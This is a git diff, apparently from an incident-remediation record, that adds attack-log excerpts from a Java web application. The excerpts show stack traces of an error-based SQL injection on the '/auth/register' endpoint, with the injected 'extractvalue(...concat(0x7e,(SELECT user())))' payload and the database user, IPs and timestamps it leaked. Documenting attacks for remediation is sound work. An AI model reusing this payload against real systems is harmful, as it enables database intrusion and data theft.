com.mysql.cj.jdbc.ClientPreparedStatement.executeInternal(ClientPreparedStatement.java:988) + at com.mysql.cj.jdbc.ClientPreparedStatement.execute(ClientPreparedStatement.java:382) + at com.zaxxer.hikari.pool.ProxyPreparedStatement.execute(ProxyPreparedStatement.java:44) + at com.zaxxer.hikari.pool.HikariProxyPreparedStatement.execute(HikariProxyPreparedStatement.java) + at jdk.internal.reflect.GeneratedMethodAccessor48.invoke(Unknown Source) + at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.base/java.lang.reflect.Method.invoke(Method.java:569) + at org.apache.ibatis.logging.jdbc.PreparedStatementLogger.invoke(PreparedStatementLogger.java:58) + at jdk.proxy3/jdk.proxy3.$Proxy426.execute(Unknown Source) + at org.apache.ibatis.executor.statement.PreparedStatementHandler.query(PreparedStatementHandler.java:65) + at org.apache.ibatis.executor.statement.RoutingStatementHandler.query(RoutingStatementHandler.java:80) + at jdk.internal.reflect.GeneratedMethodAccessor53.invoke(Unknown Source) + at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.base/java.lang.reflect.Method.invoke(Method.java:569) + at org.apache.ibatis.plugin.Plugin.invoke(Plugin.java:61) + at jdk.proxy2/jdk.proxy2.$Proxy424.query(Unknown Source) + at org.apache.ibatis.executor.SimpleExecutor.doQuery(SimpleExecutor.java:65) + at org.apache.ibatis.executor.BaseExecutor.queryFromDatabase(BaseExecutor.java:336) + at org.apache.ibatis.executor.BaseExecutor.query(BaseExecutor.java:158) + at org.apache.ibatis.executor.CachingExecutor.query(CachingExecutor.java:110) + at com.baomidou.mybatisplus.extension.plugins.MybatisPlusInterceptor.intercept(MybatisPlusInterceptor.java:81) + at org.apache.ibatis.plugin.Plugin.invoke(Plugin.java:59) + at jdk.proxy2/jdk.proxy2.$Proxy423.query(Unknown Source) + at org.apache.ibatis.session.defaults.DefaultSqlSession.selectList(DefaultSqlSession.java:154) + at org.apache.ibatis.session.defaults.DefaultSqlSession.selectList(DefaultSqlSession.java:147) + at org.apache.ibatis.session.defaults.DefaultSqlSession.selectList(DefaultSqlSession.java:142) + at jdk.internal.reflect.GeneratedMethodAccessor63.invoke(Unknown Source) + at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.base/java.lang.reflect.Method.invoke(Method.java:569) + at org.mybatis.spring.SqlSessionTemplate$SqlSessionInterceptor.invoke(SqlSessionTemplate.java:333) + at jdk.proxy2/jdk.proxy2.$Proxy156.selectList(Unknown Source) + at org.mybatis.spring.SqlSessionTemplate.selectList(SqlSessionTemplate.java:194) + at com.baomidou.mybatisplus.core.override.MybatisMapperMethod.executeForMany(MybatisMapperMethod.java:164) + at com.baomidou.mybatisplus.core.override.MybatisMapperMethod.execute(MybatisMapperMethod.java:77) + at com.baomidou.mybatisplus.core.override.MybatisMapperProxy$PlainMethodInvoker.invoke(MybatisMapperProxy.java:156) + at com.baomidou.mybatisplus.core.override.MybatisMapperProxy.invoke(MybatisMapperProxy.java:93) + at jdk.proxy2/jdk.proxy2.$Proxy176.selectList(Unknown Source) + at com.baomidou.mybatisplus.core.mapper.BaseMapper.selectOne(BaseMapper.java:332) + at java.base/java.lang.invoke.MethodHandle.invokeWithArguments(MethodHandle.java:732) + at com.baomidou.mybatisplus.core.override.MybatisMapperProxy$DefaultMethodInvoker.invoke(MybatisMapperProxy.java:172) + at com.baomidou.mybatisplus.core.override.MybatisMapperProxy.invoke(MybatisMapperProxy.java:93) + at jdk.proxy2/jdk.proxy2.$Proxy176.selectOne(Unknown Source) + at com.baomidou.mybatisplus.core.mapper.BaseMapper.selectOne(BaseMapper.java:321) + at java.base/java.lang.invoke.MethodHandle.invokeWithArguments(MethodHandle.java:732) + at com.baomidou.mybatisplus.core.override.MybatisMapperProxy$DefaultMethodInvoker.invoke(MybatisMapperProxy.java:182) + at com.baomidou.mybatisplus.core.override.MybatisMapperProxy.invoke(MybatisMapperProxy.java:93) + at jdk.proxy2/jdk.proxy2.$Proxy176.selectOne(Unknown Source) + at org.dromara.system.service.impl.SysConfigServiceImpl.lambda$selectRegisterEnabled$0(SysConfigServiceImpl.java:87) + at org.dromara.common.tenant.helper.TenantHelper.dynamic(TenantHelper.java:211) + at org.dromara.system.service.impl.SysConfigServiceImpl.selectRegisterEnabled(SysConfigServiceImpl.java:86) + at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77) + at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.base/java.lang.reflect.Method.invoke(Method.java:569) + at org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(AopUtils.java:359) + at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:724) + at org.dromara.system.service.impl.SysConfigServiceImpl$$SpringCGLIB$$0.selectRegisterEnabled() + at org.dromara.web.controller.AuthController.register(AuthController.java:186) + at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77) + at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.base/java.lang.reflect.Method.invoke(Method.java:569) + at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:258) + at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:191) + at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:118) + at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:986) + at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:891) + at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87) + at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1089) + at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:979) + at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1014) + at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:914) + at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:547) + at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:885) + at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:614) + at io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:74) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:129) + at org.springframework.web.filter.CorsFilter.doFilterInternal(CorsFilter.java:91) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) + at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at org.dromara.common.web.filter.RepeatableFilter.doFilter(RepeatableFilter.java:32) + at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at cn.dev33.satoken.filter.SaServletFilter.doFilter(SaServletFilter.java:143) + at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at cn.dev33.satoken.filter.SaFirewallCheckFilterForJakartaServlet.doFilter(SaFirewallCheckFilterForJakartaServlet.java:69) + at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at cn.dev33.satoken.filter.SaTokenCorsFilterForJakartaServlet.doFilter(SaTokenCorsFilterForJakartaServlet.java:52) + at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at cn.dev33.satoken.filter.SaTokenContextFilterForJakartaServlet.doFilter(SaTokenContextFilterForJakartaServlet.java:40) + at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) + at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) + at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at org.springframework.web.filter.ServerHttpObservationFilter.doFilterInternal(ServerHttpObservationFilter.java:114) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) + at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at org.dromara.common.web.filter.XssFilter.doFilter(XssFilter.java:42) + at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) + at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at io.undertow.servlet.handlers.FilterHandler.handleRequest(FilterHandler.java:84) + at io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:62) + at io.undertow.servlet.handlers.ServletChain$1.handleRequest(ServletChain.java:68) + at io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36) + at io.undertow.servlet.handlers.RedirectDirHandler.handleRequest(RedirectDirHandler.java:68) + at io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:117) + at io.undertow.servlet.handlers.security.ServletAuthenticationCallHandler.handleRequest(ServletAuthenticationCallHandler.java:57) + at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) + at io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:46) + at io.undertow.servlet.handlers.security.ServletConfidentialityConstraintHandler.handleRequest(ServletConfidentialityConstraintHandler.java:64) + at io.undertow.security.handlers.AuthenticationMechanismsHandler.handleRequest(AuthenticationMechanismsHandler.java:60) + at io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:77) + at io.undertow.security.handlers.AbstractSecurityContextAssociationHandler.handleRequest(AbstractSecurityContextAssociationHandler.java:43) + at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) + at io.undertow.servlet.handlers.SendErrorPageHandler.handleRequest(SendErrorPageHandler.java:52) + at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) + at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:276) + at io.undertow.servlet.handlers.ServletInitialHandler$2.call(ServletInitialHandler.java:135) + at io.undertow.servlet.handlers.ServletInitialHandler$2.call(ServletInitialHandler.java:132) + at io.undertow.servlet.core.ServletRequestContextThreadSetupAction$1.call(ServletRequestContextThreadSetupAction.java:48) + at io.undertow.servlet.core.ContextClassLoaderSetupAction$1.call(ContextClassLoaderSetupAction.java:43) + at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:256) + at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:101) + at io.undertow.server.Connectors.executeRootHandler(Connectors.java:395) + at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:861) + at org.jboss.threads.ContextHandler$1.runWith(ContextHandler.java:18) + at org.jboss.threads.EnhancedQueueExecutor$Task.run(EnhancedQueueExecutor.java:2513) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1538) + at org.xnio.XnioWorker$WorkerThreadFactory$1$1.run(XnioWorker.java:1282) + at java.base/java.lang.Thread.run(Thread.java:840) +Closing non transactional SqlSession [org.apache.ibatis.session.defaults.DefaultSqlSession@293b36f8] +2026-09-16 14:50:08 [XNIO-1 task-2] ERROR o.d.c.w.h.GlobalExceptionHandler + - 请求地址'/auth/register',发生未知异常. +org.springframework.jdbc.UncategorizedSQLException: +### Error querying database. Cause: java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68' +### The error may exist in org/dromara/system/mapper/SysConfigMapper.java (best guess) +### The error may involve defaultParameterMap +### The error occurred while setting parameters +### SQL: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT user()))) AND '1'='1' +### Cause: java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68' +; uncategorized SQLException; SQL state [HY000]; error code [1105]; XPATH syntax error: '~root@172.16.0.68' + at org.mybatis.spring.MyBatisExceptionTranslator.translateExceptionIfPossible(MyBatisExceptionTranslator.java:94) + at org.mybatis.spring.SqlSessionTemplate$SqlSessionInterceptor.invoke(SqlSessionTemplate.java:347) + at jdk.proxy2/jdk.proxy2.$Proxy156.selectList(Unknown Source) + at org.mybatis.spring.SqlSessionTemplate.selectList(SqlSessionTemplate.java:194) + at com.baomidou.mybatisplus.core.override.MybatisMapperMethod.executeForMany(MybatisMapperMethod.java:164) + at com.baomidou.mybatisplus.core.override.MybatisMapperMethod.execute(MybatisMapperMethod.java:77) + at com.baomidou.mybatisplus.core.override.MybatisMapperProxy$PlainMethodInvoker.invoke(MybatisMapperProxy.java:156) + at com.baomidou.mybatisplus.core.override.MybatisMapperProxy.invoke(MybatisMapperProxy.java:93) + at jdk.proxy2/jdk.proxy2.$Proxy176.selectList(Unknown Source) + at com.baomidou.mybatisplus.core.mapper.BaseMapper.selectOne(BaseMapper.java:332) + at java.base/java.lang.invoke.MethodHandle.invokeWithArguments(MethodHandle.java:732) + at com.baomidou.mybatisplus.core.override.MybatisMapperProxy$DefaultMethodInvoker.invoke(MybatisMapperProxy.java:172) + at com.baomidou.mybatisplus.core.override.MybatisMapperProxy.invoke(MybatisMapperProxy.java:93) + at jdk.proxy2/jdk.proxy2.$Proxy176.selectOne(Unknown Source) + at com.baomidou.mybatisplus.core.mapper.BaseMapper.selectOne(BaseMapper.java:321) + at java.base/java.lang.invoke.MethodHandle.invokeWithArguments(MethodHandle.java:732) + at com.baomidou.mybatisplus.core.override.MybatisMapperProxy$DefaultMethodInvoker.invoke(MybatisMapperProxy.java:182) + at com.baomidou.mybatisplus.core.override.MybatisMapperProxy.invoke(MybatisMapperProxy.java:93) + at jdk.proxy2/jdk.proxy2.$Proxy176.selectOne(Unknown Source) + at org.dromara.system.service.impl.SysConfigServiceImpl.lambda$selectRegisterEnabled$0(SysConfigServiceImpl.java:87) + at org.dromara.common.tenant.helper.TenantHelper.dynamic(TenantHelper.java:211) + at org.dromara.system.service.impl.SysConfigServiceImpl.selectRegisterEnabled(SysConfigServiceImpl.java:86) + at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77) + at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.base/java.lang.reflect.Method.invoke(Method.java:569) + at org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(AopUtils.java:359) + at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:724) + at org.dromara.system.service.impl.SysConfigServiceImpl$$SpringCGLIB$$0.selectRegisterEnabled() + at org.dromara.web.controller.AuthController.register(AuthController.java:186) + at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77) + at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.base/java.lang.reflect.Method.invoke(Method.java:569) + at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:258) + at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:191) + at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:118) + at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:986) + at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:891) + at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87) + at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1089) + at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:979) + at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1014) + at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:914) + at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:547) + at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:885) + at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:614) + at io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:74) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:129) + at org.springframework.web.filter.CorsFilter.doFilterInternal(CorsFilter.java:91) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) + at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at org.dromara.common.web.filter.RepeatableFilter.doFilter(RepeatableFilter.java:32) + at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at cn.dev33.satoken.filter.SaServletFilter.doFilter(SaServletFilter.java:143) + at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at cn.dev33.satoken.filter.SaFirewallCheckFilterForJakartaServlet.doFilter(SaFirewallCheckFilterForJakartaServlet.java:69) + at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at cn.dev33.satoken.filter.SaTokenCorsFilterForJakartaServlet.doFilter(SaTokenCorsFilterForJakartaServlet.java:52) + at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at cn.dev33.satoken.filter.SaTokenContextFilterForJakartaServlet.doFilter(SaTokenContextFilterForJakartaServlet.java:40) + at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) + at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) + at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at org.springframework.web.filter.ServerHttpObservationFilter.doFilterInternal(ServerHttpObservationFilter.java:114) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) + at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at org.dromara.common.web.filter.XssFilter.doFilter(XssFilter.java:42) + at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) + at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at io.undertow.servlet.handlers.FilterHandler.handleRequest(FilterHandler.java:84) + at io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:62) + at io.undertow.servlet.handlers.ServletChain$1.handleRequest(ServletChain.java:68) + at io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36) + at io.undertow.servlet.handlers.RedirectDirHandler.handleRequest(RedirectDirHandler.java:68) + at io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:117) + at io.undertow.servlet.handlers.security.ServletAuthenticationCallHandler.handleRequest(ServletAuthenticationCallHandler.java:57) + at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) + at io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:46) + at io.undertow.servlet.handlers.security.ServletConfidentialityConstraintHandler.handleRequest(ServletConfidentialityConstraintHandler.java:64) + at io.undertow.security.handlers.AuthenticationMechanismsHandler.handleRequest(AuthenticationMechanismsHandler.java:60) + at io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:77) + at io.undertow.security.handlers.AbstractSecurityContextAssociationHandler.handleRequest(AbstractSecurityContextAssociationHandler.java:43) + at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) + at io.undertow.servlet.handlers.SendErrorPageHandler.handleRequest(SendErrorPageHandler.java:52) + at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) + at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:276) + at io.undertow.servlet.handlers.ServletInitialHandler$2.call(ServletInitialHandler.java:135) + at io.undertow.servlet.handlers.ServletInitialHandler$2.call(ServletInitialHandler.java:132) + at io.undertow.servlet.core.ServletRequestContextThreadSetupAction$1.call(ServletRequestContextThreadSetupAction.java:48) + at io.undertow.servlet.core.ContextClassLoaderSetupAction$1.call(ContextClassLoaderSetupAction.java:43) + at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:256) + at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:101) + at io.undertow.server.Connectors.executeRootHandler(Connectors.java:395) + at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:861) + at org.jboss.threads.ContextHandler$1.runWith(ContextHandler.java:18) + at org.jboss.threads.EnhancedQueueExecutor$Task.run(EnhancedQueueExecutor.java:2513) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1538) + at org.xnio.XnioWorker$WorkerThreadFactory$1$1.run(XnioWorker.java:1282) + at java.base/java.lang.Thread.run(Thread.java:840) +Caused by: java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68' + at com.mysql.cj.jdbc.exceptions.SQLError.createSQLException(SQLError.java:121) + at com.mysql.cj.jdbc.exceptions.SQLExceptionsMapping.translateException(SQLExceptionsMapping.java:114) + at com.mysql.cj.jdbc.ClientPreparedStatement.executeInternal(ClientPreparedStatement.java:988) + at com.mysql.cj.jdbc.ClientPreparedStatement.execute(ClientPreparedStatement.java:382) + at com.zaxxer.hikari.pool.ProxyPreparedStatement.execute(ProxyPreparedStatement.java:44) + at com.zaxxer.hikari.pool.HikariProxyPreparedStatement.execute(HikariProxyPreparedStatement.java) diff --git a/问题整改/攻击日志摘录/excerpts-register.txt b/问题整改/攻击日志摘录/excerpts-register.txt new file mode 100644 index 00000000..e69de29b diff --git a/问题整改/攻击日志摘录/excerpts-root-leak.txt b/问题整改/攻击日志摘录/excerpts-root-leak.txt new file mode 100644 index 00000000..e69de29b diff --git a/问题整改/攻击日志摘录/excerpts-xpath.txt b/问题整改/攻击日志摘录/excerpts-xpath.txt new file mode 100644 index 00000000..e5142118 --- /dev/null +++ b/问题整改/攻击日志摘录/excerpts-xpath.txt @@ -0,0 +1,75 @@ +### /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log:630250 +java.sql.SQLException: XPATH syntax error: '~23 13:14:37|2|2026-09-16 ' + +### /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log:630400 +### Error querying database. Cause: java.sql.SQLException: XPATH syntax error: '~23 13:14:37|2|2026-09-16 ' + +### /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log:630405 +### Cause: java.sql.SQLException: XPATH syntax error: '~23 13:14:37|2|2026-09-16 ' + +### /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log:630406 +; uncategorized SQLException; SQL state [HY000]; error code [1105]; XPATH syntax error: '~23 13:14:37|2|2026-09-16 ' + +### /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log:630522 +Caused by: java.sql.SQLException: XPATH syntax error: '~23 13:14:37|2|2026-09-16 ' + +### /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log:650908 +java.sql.SQLException: XPATH syntax error: '~|0|36.28.73.85|2026-09-16' + +### /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log:651058 +### Error querying database. Cause: java.sql.SQLException: XPATH syntax error: '~|0|36.28.73.85|2026-09-16' + +### /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log:651063 +### Cause: java.sql.SQLException: XPATH syntax error: '~|0|36.28.73.85|2026-09-16' + +### /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log:651064 +; uncategorized SQLException; SQL state [HY000]; error code [1105]; XPATH syntax error: '~|0|36.28.73.85|2026-09-16' + +### /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log:651180 +Caused by: java.sql.SQLException: XPATH syntax error: '~|0|36.28.73.85|2026-09-16' + +### /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log:656229 +java.sql.SQLException: XPATH syntax error: '~0|36.21.215.72|2026-09-16' + +### /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log:656379 +### Error querying database. Cause: java.sql.SQLException: XPATH syntax error: '~0|36.21.215.72|2026-09-16' + +### /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log:656384 +### Cause: java.sql.SQLException: XPATH syntax error: '~0|36.21.215.72|2026-09-16' + +### /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log:656385 +; uncategorized SQLException; SQL state [HY000]; error code [1105]; XPATH syntax error: '~0|36.21.215.72|2026-09-16' + +### /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log:656501 +Caused by: java.sql.SQLException: XPATH syntax error: '~0|36.21.215.72|2026-09-16' + +### /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log:664993 +java.sql.SQLException: XPATH syntax error: '~.138.37|2026-09-16 08:45:' + +### /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log:665143 +### Error querying database. Cause: java.sql.SQLException: XPATH syntax error: '~.138.37|2026-09-16 08:45:' + +### /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log:665148 +### Cause: java.sql.SQLException: XPATH syntax error: '~.138.37|2026-09-16 08:45:' + +### /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log:665149 +; uncategorized SQLException; SQL state [HY000]; error code [1105]; XPATH syntax error: '~.138.37|2026-09-16 08:45:' + +### /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log:665265 +Caused by: java.sql.SQLException: XPATH syntax error: '~.138.37|2026-09-16 08:45:' + +### /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log:665619 +java.sql.SQLException: XPATH syntax error: '~:37|15|2026-09-16 08:45:3' + +### /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log:665769 +### Error querying database. Cause: java.sql.SQLException: XPATH syntax error: '~:37|15|2026-09-16 08:45:3' 